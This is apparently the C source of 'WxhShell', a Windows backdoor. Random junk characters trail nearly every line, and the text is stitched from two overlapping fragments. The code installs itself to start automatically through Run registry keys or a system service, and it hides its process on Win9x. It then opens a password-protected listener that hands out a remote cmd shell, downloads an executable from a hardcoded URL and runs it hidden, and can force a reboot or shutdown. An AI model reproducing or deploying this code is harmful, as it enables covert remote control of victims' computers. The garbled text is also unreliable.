    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i%0ur}p  
    else { :51/29}  
    closesocket(wsh); [D\k^h  
    ExitThread(0); 0 eDHu  
    } f=WDR m]  
    break; $7^o#2 B  
    } gcl5jB5)>  
  // 获取shell ;EP:o%r  
  case 's': { w|K'M?N14  
    CmdShell(wsh); 4bYK}o S  
    closesocket(wsh); 8ap%?  
    ExitThread(0); 7_inJ$  
    break; v@ lM3_rbO  
  } *^VRGfpb  
  // 退出 YwjKAyLU  
  case 'x': { J^Wa8Q;9lX  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9,:l8  
    CloseIt(wsh); -C(crn  
    break; v0H@Eg_  
    } SC)g^E#  
  // 离开 6[ j.@[t  
  case 'q': { ~E2KZm  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); lww!-(<ww  
    closesocket(wsh); Ng~FEl  
    WSACleanup(); H[U!%Z  
    exit(1); 3cK I  
    break; 0tT(W^ho g  
        } :&V h?  
  } ?kbiMs1;u  
  } c7x~{V8  
4R1<nZ"e~  
  // 提示信息 *Doa* wQ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LnH?dy  
} CYY=R'1:G{  
  } $QLcH;+7t  
8 Hg+H=?  
  return; 2fn&#kw/  
} 0=2@  
b*c*r dTx  
// shell模块句柄 *zb Nd:i9  
int CmdShell(SOCKET sock) |B.Y6L6l  
{ P-yjN  
STARTUPINFO si; <7/R,\Wg~  
ZeroMemory(&si,sizeof(si)); 7QiIiWqIWC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \/zq7j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; YIQ 4t  
PROCESS_INFORMATION ProcessInfo; N"Zt47(  
char cmdline[]="cmd"; 0"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Nfrw0b  
  return 0; 1WxK#c-)  
} $P/~rZ@M@  
^ *k?pJ5  
// 自身启动模式 jFL #s&ft  
int StartFromService(void) P}n_IV*@  
{ ,Z&xNBX  
typedef struct '"0'Oua  
{ 1 ySk;;3  
  DWORD ExitStatus; 'YmIKIw  
  DWORD PebBaseAddress; g?goZPZB  
  DWORD AffinityMask; cQy2"vtU  
  DWORD BasePriority; zPn+ V7F  
  ULONG UniqueProcessId; "O3tq =Q  
  ULONG InheritedFromUniqueProcessId; vWz m @  
}   PROCESS_BASIC_INFORMATION; ` Mjj@[  
*\+\5pu0  
PROCNTQSIP NtQueryInformationProcess; PUp6Q;AdQ  
H<i]V9r  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5F)C  jQ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jnO9j_CY  
6F!+T=  
  HANDLE             hProcess; xpV|\2C  
  PROCESS_BASIC_INFORMATION pbi; 4&<oFW\r  
i [7\[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^}/PGG\~r  
  if(NULL == hInst ) return 0; le|~BG hL  
89pEfl j2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %g{X?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); h7G"G"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4gI/!,J(b  
9-&Ttbb4)0  
  if (!NtQueryInformationProcess) return 0; sJL&:!}V>  
]7W&JKmA&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c}lb%^;)E  
  if(!hProcess) return 0; q9KHmhUD  
P+@/O  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t<.)Z-Ii  
n{n52][J]  
  CloseHandle(hProcess); dk[!V1x4\  
yj 3cyLXw  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5d Eh7XL  
if(hProcess==NULL) return 0; 'f!8DGix  
V,lOt4b  
HMODULE hMod; eenH0Ovv  
char procName[255]; 7Wf/$vRab  
unsigned long cbNeeded; 4[m`#  
\ub7`01  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Y2N>HK0  
_<n~n]%  
  CloseHandle(hProcess); X9v.1s,  
c69C  
if(strstr(procName,"services")) return 1; // 以服务启动 u%&`}g  
s Ep"D+f  
  return 0; // 注册表启动 tU}h~&M  
} l+xX/A)  
"h{q#~s  
// 主模块 >c1qpk/  
int StartWxhshell(LPSTR lpCmdLine) K?6jXJseb  
{ / kF)  
  SOCKET wsl; 6/f7<  
BOOL val=TRUE; 4-l 8,@9  
  int port=0; +jAGGv^)  
  struct sockaddr_in door; W/=.@JjI  
S(k3 `;K  
  if(wscfg.ws_autoins) Install(); Uf1!qP/H?  
zykT*V  
port=atoi(lpCmdLine); IB(6+n,6s  
h){0rX@:&  
if(port<=0) port=wscfg.ws_port; ?qmRbDI  
;0Q4<F  
  WSADATA data; 1XrO~W\=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S.mG?zbw  
LGq'WU31:)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   A` N,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I&fozO   
  door.sin_family = AF_INET; T]^62(So  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q0)#8Rcm  
  door.sin_port = htons(port); xzdf^Ce  
Z&G+bdA>,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _:ReN_0  
closesocket(wsl); |T<_5Ik  
return 1; B?OFe'*  
} /74QMx?  
8^kGS-+^  
  if(listen(wsl,2) == INVALID_SOCKET) { /,BD#|  
closesocket(wsl); .O DU  
return 1; e|g5=2(Pr&  
} (j%~u&+-  
  Wxhshell(wsl); fJ=0HNmX  
  WSACleanup(); C>ICu*PW  
Z|&MKG24  
return 0; ML}J\7R  
HSw;^E)1  
} w VvF^VHV^  
YC*"Thuu  
// 以NT服务方式启动 E7WK (  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) t0( A4E  
{ C+* d8_L  
DWORD   status = 0; _no/F2>!/n  
  DWORD   specificError = 0xfffffff; 59 h]UX=  
+Te\H  
  serviceStatus.dwServiceType     = SERVICE_WIN32; C>]0YO k2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t^UxR@l<K|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [NF'oRRD9s  
  serviceStatus.dwWin32ExitCode     = 0; pD8+ 4;A  
  serviceStatus.dwServiceSpecificExitCode = 0; ,j#XOy`mzy  
  serviceStatus.dwCheckPoint       = 0; #{6{TFx\  
  serviceStatus.dwWaitHint       = 0; hE &xE;  
=R^%(Py  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); g6y B6vk  
  if (hServiceStatusHandle==0) return; *-#&K\  
@Y?#Sl*  
status = GetLastError(); gLb`pCo/  
  if (status!=NO_ERROR) Mhm@R@  
{ !({}(!P .  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9-sw!tKx  
    serviceStatus.dwCheckPoint       = 0; Z EQ@IS:Y  
    serviceStatus.dwWaitHint       = 0; #F:p-nOq  
    serviceStatus.dwWin32ExitCode     = status; k}S :RK  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7( #:GD  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @g|v;B|{  
    return; #./fY;:cj  
  } {WJm  
?(xnSW@r  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *tGY6=7O  
  serviceStatus.dwCheckPoint       = 0; dR K?~1  
  serviceStatus.dwWaitHint       = 0; f<-Jg  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <3L5"77G 6  
} We)xB  
SbcS]H5Sk  
// 处理NT服务事件,比如:启动、停止 ]yV!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) D,FHZD t  
{ )tG\vk=@  
switch(fdwControl) u]:oZMnj  
{ "x%Htq@  
case SERVICE_CONTROL_STOP: ] ;KJ6  
  serviceStatus.dwWin32ExitCode = 0; 3W V"U  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; V#v`(j%  
  serviceStatus.dwCheckPoint   = 0; bkRLC_/d  
  serviceStatus.dwWaitHint     = 0; |Yx~;q:  
  { __uA}f Zp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >3ZFzh&OYQ  
  } GeI-\F7b  
  return; ]{!U@b  
case SERVICE_CONTROL_PAUSE: {M3qLf~z#C  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; y~(h>gi,x  
  break; uMUBh 80,L  
case SERVICE_CONTROL_CONTINUE: y+Ra4G#/}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; GXcJ< v  
  break; K)6rY(x >  
case SERVICE_CONTROL_INTERROGATE: 6e(Qwt  
  break; ,y1PbA0m  
}; `Nv=B1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); uOKCAqYa  
} #akpXdXs  
"Hya6k>j  
// 标准应用程序主函数 D{!6Y*d6&s  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `CBZhI%%  
{ wrviR  
,k.3|aZE  
// 获取操作系统版本 +ndaLhj'  
OsIsNt=GetOsVer(); Y5f1lUT  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?U%QG5/>  
B|Du@^$  
  // 从命令行安装 dW)B1iUo!  
  if(strpbrk(lpCmdLine,"iI")) Install(); @#<D ^"  
?fiIwF)  
  // 下载执行文件 V08?-Iz$  
if(wscfg.ws_downexe) { \j+1V1t9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6wPaJbRtaM  
  WinExec(wscfg.ws_filenam,SW_HIDE); wYd b*"R  
} ng[Ar`  
[O$Wa:< 0x  
if(!OsIsNt) { r~E=4oB7  
// 如果时win9x,隐藏进程并且设置为注册表启动 \?w2a$?6w  
HideProc(); >c1!p]&V  
StartWxhshell(lpCmdLine); *7:>EP  
} j@=%_^:i  
else +"x,x  
  if(StartFromService()) @V(*65b2  
  // 以服务方式启动 mkMq  
  StartServiceCtrlDispatcher(DispatchTable); 81](T<  
else ` w=>I  
  // 普通方式启动 {^ qcx8  
  StartWxhshell(lpCmdLine); 8N!b>??  
56}U8X  
return 0; WM Fb4SUR  
} g=39C>  
5k!g%sZ  
b $'FvZbk  
+GG9^:<yr  
=========================================== ^.1)};i  
'ZT^PV \  
 0bz'&  
XO`0>^g  
;ZH3{  
}]e-{C}  
" V E#Wb7  
rk&IlAE  
#include <stdio.h> 0QFS  
#include <string.h> "*($cQ$v  
#include <windows.h> ,">]`|?  
#include <winsock2.h> +lm{Olm'^  
#include <winsvc.h> PbW(%7o(t  
#include <urlmon.h> Mc=$/ o  
>,TUZ  
#pragma comment (lib, "Ws2_32.lib") ?<V?wsp  
#pragma comment (lib, "urlmon.lib") J3,fk)  
Qr1"Tk7s  
#define MAX_USER   100 // 最大客户端连接数 } uO);k5H  
#define BUF_SOCK   200 // sock buffer (^s>m,h  
#define KEY_BUFF   255 // 输入 buffer R(('/JC  
9`wZz~hL"  
#define REBOOT     0   // 重启 ?!;7:VIE  
#define SHUTDOWN   1   // 关机 j!_;1++q  
->sm+H-*  
#define DEF_PORT   5000 // 监听端口 <d,b'<z s  
oT^{b\XN  
#define REG_LEN     16   // 注册表键长度 Z9:-rcr  
#define SVC_LEN     80   // NT服务名长度 JF # # [O  
o1Ph~|s*8  
// 从dll定义API sA/pVU  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); K17j$o^6KK  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1|RANy  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @$lG@I,[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %{ABaeb]  
"*m_> IU  
// wxhshell配置信息 /~}}"zx&  
struct WSCFG { '3_]Gu-D  
  int ws_port;         // 监听端口 Kh,V.+7k  
  char ws_passstr[REG_LEN]; // 口令 ]or>?{4g  
  int ws_autoins;       // 安装标记, 1=yes 0=no Inn@2$m~  
  char ws_regname[REG_LEN]; // 注册表键名 &Nj3h(Ll  
  char ws_svcname[REG_LEN]; // 服务名 (0j}-iaQEZ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 hakKs.U|[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :axRoRg  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 : e]a$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Nd`%5%'::  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" GKOD/,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  5V6G=H  
3x5JFM  
}; s}j{#xT  
m6TNBX  
// default Wxhshell configuration WP?TX b`5  
struct WSCFG wscfg={DEF_PORT, } ~h3c|  
    "xuhuanlingzhe", yOphx07 (  
    1, >xF/Pl  
    "Wxhshell", &S( .GdEf  
    "Wxhshell", v\!Be[ ?  
            "WxhShell Service", f47Od-\-  
    "Wrsky Windows CmdShell Service", OZx W?wnd  
    "Please Input Your Password: ", AB F"~=aL  
  1, |zR8rqBX;  
  "http://www.wrsky.com/wxhshell.exe", =; ^%(%Y{m  
  "Wxhshell.exe" T.@aep\"  
    }; '$|[R98  
%<E$,w>  
// 消息定义模块 ~p1j`r;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7B b9 t  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Qj,]N@7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "$N#p5  
char *msg_ws_ext="\n\rExit."; :,Pn3xl  
char *msg_ws_end="\n\rQuit."; 9{-EJ)  
char *msg_ws_boot="\n\rReboot..."; {U!8|(  
char *msg_ws_poff="\n\rShutdown..."; `wus\&!W  
char *msg_ws_down="\n\rSave to "; ZT,B(#m  
~MS\  
char *msg_ws_err="\n\rErr!"; Q?3Gk%T0[  
char *msg_ws_ok="\n\rOK!"; 0/!dUWdKH  
?*E'^~,H)  
char ExeFile[MAX_PATH]; 0(mkeIzJt/  
int nUser = 0; +VCGlr  
HANDLE handles[MAX_USER]; MP_'D+LS  
int OsIsNt; Cg&e(  
@c<3b2  
SERVICE_STATUS       serviceStatus; R(2tlZ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; hJDi7P  
q0$ !y!~  
// 函数声明 LM}Ib.  
int Install(void); kBYNf =  
int Uninstall(void); aCQ?fq  
int DownloadFile(char *sURL, SOCKET wsh); L1i eaKw  
int Boot(int flag); 2C/$Ei^t  
void HideProc(void); >)spqu]  
int GetOsVer(void); Z2TL#@  
int Wxhshell(SOCKET wsl); U7oo$gW%|T  
void TalkWithClient(void *cs); %7"X(Ts7B  
int CmdShell(SOCKET sock); f2^r[kPX"  
int StartFromService(void); wm)#[x #  
int StartWxhshell(LPSTR lpCmdLine); v=_6XF  
3 |hHR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #bl6sa{E  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); t: #6sF  
F'B8v 3  
// 数据结构和表定义 7RUofcax  
SERVICE_TABLE_ENTRY DispatchTable[] = LM7$}#$R  
{ (xVsDAp=@  
{wscfg.ws_svcname, NTServiceMain}, KnsT\>[K  
{NULL, NULL} blTo5NLX  
}; ~v]!+`_J  
4g : >[q  
// 自我安装 po$ /7  
int Install(void) wvbPnf^y  
{ -[6z 1"*  
  char svExeFile[MAX_PATH]; &4b&X0pU  
  HKEY key; *M$0J'-BQ  
  strcpy(svExeFile,ExeFile); q o\?o    
)yTm.F  
// 如果是win9x系统,修改注册表设为自启动 xZ4~Oo@@_'  
if(!OsIsNt) { HYD"#m'TkB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jBU4F~1y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9(6I<]#  
  RegCloseKey(key); DdVF,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !<SA6m#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b@S Cn9  
  RegCloseKey(key); l2l(_$@3  
  return 0; 'g$(QvGF 9  
    } %*&UJpbA  
  } :{oZ~<  
} iVG-_RsKK  
else { Q8 DQlqHm  
n84GZ5O>7  
// 如果是NT以上系统,安装为系统服务 :'*DPB-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); x\J#]d.  
if (schSCManager!=0) `;)\u  
{ ,:??P1  
  SC_HANDLE schService = CreateService tkXEHsRT  
  ( 'A:x/iv}^  
  schSCManager, q*2N{  
  wscfg.ws_svcname, F0:A]`|  
  wscfg.ws_svcdisp, %-<'QYYP  
  SERVICE_ALL_ACCESS, /w]!wM  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2Sh  
  SERVICE_AUTO_START, T'LIrf  
  SERVICE_ERROR_NORMAL, `&-Mi[1  
  svExeFile, ~i21%$  
  NULL, *Mw_0Y  
  NULL, "R3d+p  
  NULL, (ZY@$''  
  NULL, S-YM%8A[  
  NULL 6$ Gep  
  ); 1.gG^$Jd  
  if (schService!=0) rtL}W__  
  { ,}:G\u*Fu  
  CloseServiceHandle(schService); $d,0=Ci  
  CloseServiceHandle(schSCManager); 04*6(L)h*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (sQr X{~  
  strcat(svExeFile,wscfg.ws_svcname); %zSuK8kxV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { D`xHD#j h  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Dgx8\~(E'  
  RegCloseKey(key); 5ux`U{`m  
  return 0; Bf$_XG3  
    } ;>AL`M+  
  } (XXheC  
  CloseServiceHandle(schSCManager); 2hee./F`  
} P(;?kg}0  
} 5* 0y7K/D  
,9P:Draxs`  
return 1; U-:ieao@  
} i,|0@Vy  
sYdRh?Hq  
// 自我卸载 ua OKv.%  
int Uninstall(void) uio@r^Xz  
{ MSV2ip3  
  HKEY key; hRq3C1 mR  
NuYkz"O]  
if(!OsIsNt) { 5bA)j!#)|X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %%Qo2^-  
  RegDeleteValue(key,wscfg.ws_regname); >y}M.Mm  
  RegCloseKey(key); 9{$'S 4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B}eA\O4}I  
  RegDeleteValue(key,wscfg.ws_regname); meCC?YAB  
  RegCloseKey(key); |Xw/E)jA  
  return 0; vBsP+K  
  } PC qZNBN  
} 7c;9$j  
} rLU/W<F8  
else { P1zdK0TM  
Q0\0f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M gC:b-&5_  
if (schSCManager!=0) *#TYqCc+g  
{ uK'&Dam  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >5wx+n)/)  
  if (schService!=0) 0Hs|*:Y1D  
  { 5"/J^"!h  
  if(DeleteService(schService)!=0) { [lk'xzE  
  CloseServiceHandle(schService); fS:1^A2,  
  CloseServiceHandle(schSCManager); 1RKW2RCaW_  
  return 0; Y $u9%0q|?  
  } St<mDTi  
  CloseServiceHandle(schService); o0ZM[0@j  
  } WsFk:h'r  
  CloseServiceHandle(schSCManager); i%{3W:!4t  
} nkv(~ej(  
} `y+-H|%?  
&wU'p-V  
return 1; fA=#Fzk2  
} j Y6MjZI  
KIeT!kmDl  
// 从指定url下载文件 huudBc A[  
int DownloadFile(char *sURL, SOCKET wsh) A!vCb 8(TX  
{ {T'GQz+R"  
  HRESULT hr; >3gi yeJ  
char seps[]= "/"; ,+;:3gRk9  
char *token; )>7%pz  
char *file; !vn1v)6  
char myURL[MAX_PATH]; 1shBY@mlq  
char myFILE[MAX_PATH]; "C?5f]T  
ez3Z3t`  
strcpy(myURL,sURL); 9e U[*S  
  token=strtok(myURL,seps); ,&Wn [G<2  
  while(token!=NULL) 7DKz;o  
  { 81%8{yn!$"  
    file=token; B$KwkhMe  
  token=strtok(NULL,seps); UwY-7Mmo  
  } ^+SkCO  
7B3w\  
GetCurrentDirectory(MAX_PATH,myFILE); 3K@@D B6  
strcat(myFILE, "\\"); !'=15&5@  
strcat(myFILE, file); GFk1/ F  
  send(wsh,myFILE,strlen(myFILE),0); {m8+Wju}  
send(wsh,"...",3,0); -S%x wJKM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Zc"B0_&?:7  
  if(hr==S_OK) nH !3(X*  
return 0; P%Ay3cR+E  
else U"f ??y%)  
return 1; ~Cc.cce5  
A\Txb_x  
} pWE`x|J  
ZiFooA  
// 系统电源模块 gLE7Edcp6V  
int Boot(int flag) he+#Q 6  
{ wyxGe<1  
  HANDLE hToken; vQ@2FZzu>  
  TOKEN_PRIVILEGES tkp; ~9Cz6yF  
Ap\AP{S4  
  if(OsIsNt) { jx_4B%kzq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,}D}oo*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); IB9%QW"0  
    tkp.PrivilegeCount = 1; 3UUGblg`~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {}>n{_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qu6DQ@ ~YC  
if(flag==REBOOT) { /DS?}I.*]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |4Ck;gg!j  
  return 0; ;P?q2jI  
} %bb~Y"  
else { {Z{o"56f  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) oCi ~P}r  
  return 0; &B{8uge1  
} J#3{S]* v_  
  } t@bt6J .{  
  else { -dTLunv  
if(flag==REBOOT) { }b["Jk\2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) mZ0J!QYk  
  return 0; Vs 0 SXj  
} cJ}QXuuUv  
else { %NHYW\sKX  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _.18z+  
  return 0; ;@4H5p  
} ek-!b!iI  
} `kBnSio~  
,35&G"JK5  
return 1; _94s(~g:  
} Z&yaSB  
Il~01|3+m  
// win9x进程隐藏模块 OjnJV  
void HideProc(void) 3=4SGt5m  
{ hY \{|  
?H;{~n?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); f5dR 5G  
  if ( hKernel != NULL ) =LH}YUmd  
  { X1J;1hRUP  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); CUmH,`hu  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &&RA4  
    FreeLibrary(hKernel); '?/&n8J\  
  }  ~Nh&.a  
I ,FqN}  
return; }B!cv{{  
} 99ASIC!  
x6yW:tUG5  
// 获取操作系统版本 #+sF`qR,  
int GetOsVer(void) )@ PnTpL*  
{ xl!K;Y2<  
  OSVERSIONINFO winfo; u35q,u=I  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); b&t[S[P.V  
  GetVersionEx(&winfo); EnCU4CU`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Sni=gZK  
  return 1; 0^<,(]!  
  else @&R1wr1>I5  
  return 0; %O) Z  
} pzEABA   
1$["79k  
// 客户端句柄模块 gL]'B!dGd  
int Wxhshell(SOCKET wsl) =:5<{J OG  
{ Zq?_dIX %  
  SOCKET wsh; T^)plWw  
  struct sockaddr_in client; (Pz8 iz  
  DWORD myID; G,DOBA  
I6w/0,azC  
  while(nUser<MAX_USER) zA{8C];~  
{ g X/NtO %  
  int nSize=sizeof(client); {!K;`I[]v  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); AVpuMNd@  
  if(wsh==INVALID_SOCKET) return 1; #S?c ;3-  
3X'WR]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); i[=C_+2  
if(handles[nUser]==0) GVObz?Z]SB  
  closesocket(wsh); X% J%A-k]  
else wznn #j  
  nUser++; 1o#vhk/ "+  
  } Y +qus  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N !IzB]  
Tf l;7w.(A  
  return 0; /+P5)q TKL  
} @zs1>\J7  
wb+<a  
// 关闭 socket w a.f![  
void CloseIt(SOCKET wsh) %gTVW!q  
{ > ZDC . ~  
closesocket(wsh); 00qZw?%K  
nUser--; Ld~4nc$H8  
ExitThread(0); 9RcM$[~  
} >Fh#DmQ  
4 m $sJ  
// 客户端请求句柄 5 ZUy:  
void TalkWithClient(void *cs) P'FKk<  
{ GiqBzV3"  
+/Z0  
  SOCKET wsh=(SOCKET)cs; dqwWfn1lt  
  char pwd[SVC_LEN]; ReqE?CeV  
  char cmd[KEY_BUFF]; G|V\^.f<  
char chr[1]; LO}z)j~W  
int i,j; pg5&=  
f@*>P_t  
  while (nUser < MAX_USER) { M/)B" q  
Wa}"SqYr h  
if(wscfg.ws_passstr) { >gGil|I  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VK$zq5D  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y`=z.D{  
  //ZeroMemory(pwd,KEY_BUFF); :'ihE\j  
      i=0; "_oLe;?$c  
  while(i<SVC_LEN) { U[Nosh)hu\  
m/" J s  
  // 设置超时 PuU*vs3  
  fd_set FdRead; s!i:0}U  
  struct timeval TimeOut; VB's  
  FD_ZERO(&FdRead); @oA0{&G{  
  FD_SET(wsh,&FdRead); 7>KQRLw  
  TimeOut.tv_sec=8; -UTV:^  
  TimeOut.tv_usec=0; )ZeLaaP  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); P_mi)@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); iU,/!IQ  
,=x RoXYB}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Djyp3uUA/  
  pwd=chr[0]; :=Nb=&lst  
  if(chr[0]==0xd || chr[0]==0xa) { >z5Oy  
  pwd=0; [}@n*D$  
  break; >0 7shNX  
  } "C& Jwm?  
  i++; .2/,XwIr  
    } a.1`\ $]d  
u5/t2}^T  
  // 如果是非法用户,关闭 socket ?&XzW+(X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @N]5&4NL  
} nc- Qz  
5W|u5AIw  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); m_(E(_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OoE9W  
# UjEY9"M  
while(1) { cu:-MpE  
e7h\(`J0lj  
  ZeroMemory(cmd,KEY_BUFF); .$UTH@;7  
W.z$a.<(rF  
      // 自动支持客户端 telnet标准   )4Bwt`VX  
  j=0; R2SBhs,+R  
  while(j<KEY_BUFF) { 6(,ItMbI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P`z7@9*j  
  cmd[j]=chr[0]; 9A(n _Rs7?  
  if(chr[0]==0xa || chr[0]==0xd) { 2NyUmJ42  
  cmd[j]=0; 2$iw/ r  
  break; _dJp 3D  
  } L,O>6~9:^1  
  j++; >}70]dN7b  
    } m\l51}xz  
MPqY?KF  
  // 下载文件 >y&[BB7S6  
  if(strstr(cmd,"http://")) { |}:e+?{o  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >\Z lZ  
  if(DownloadFile(cmd,wsh)) 8rla0d@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]~$c~*0g  
  else  3&O% &  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RA! x  
  } @ysJt  
  else { D7 %^Ly  
GH [ U!J  
    switch(cmd[0]) { 8[vl3C  
  8''9@xz  
  // 帮助 @\#'oIc|  
  case '?': { >l y&+3S  
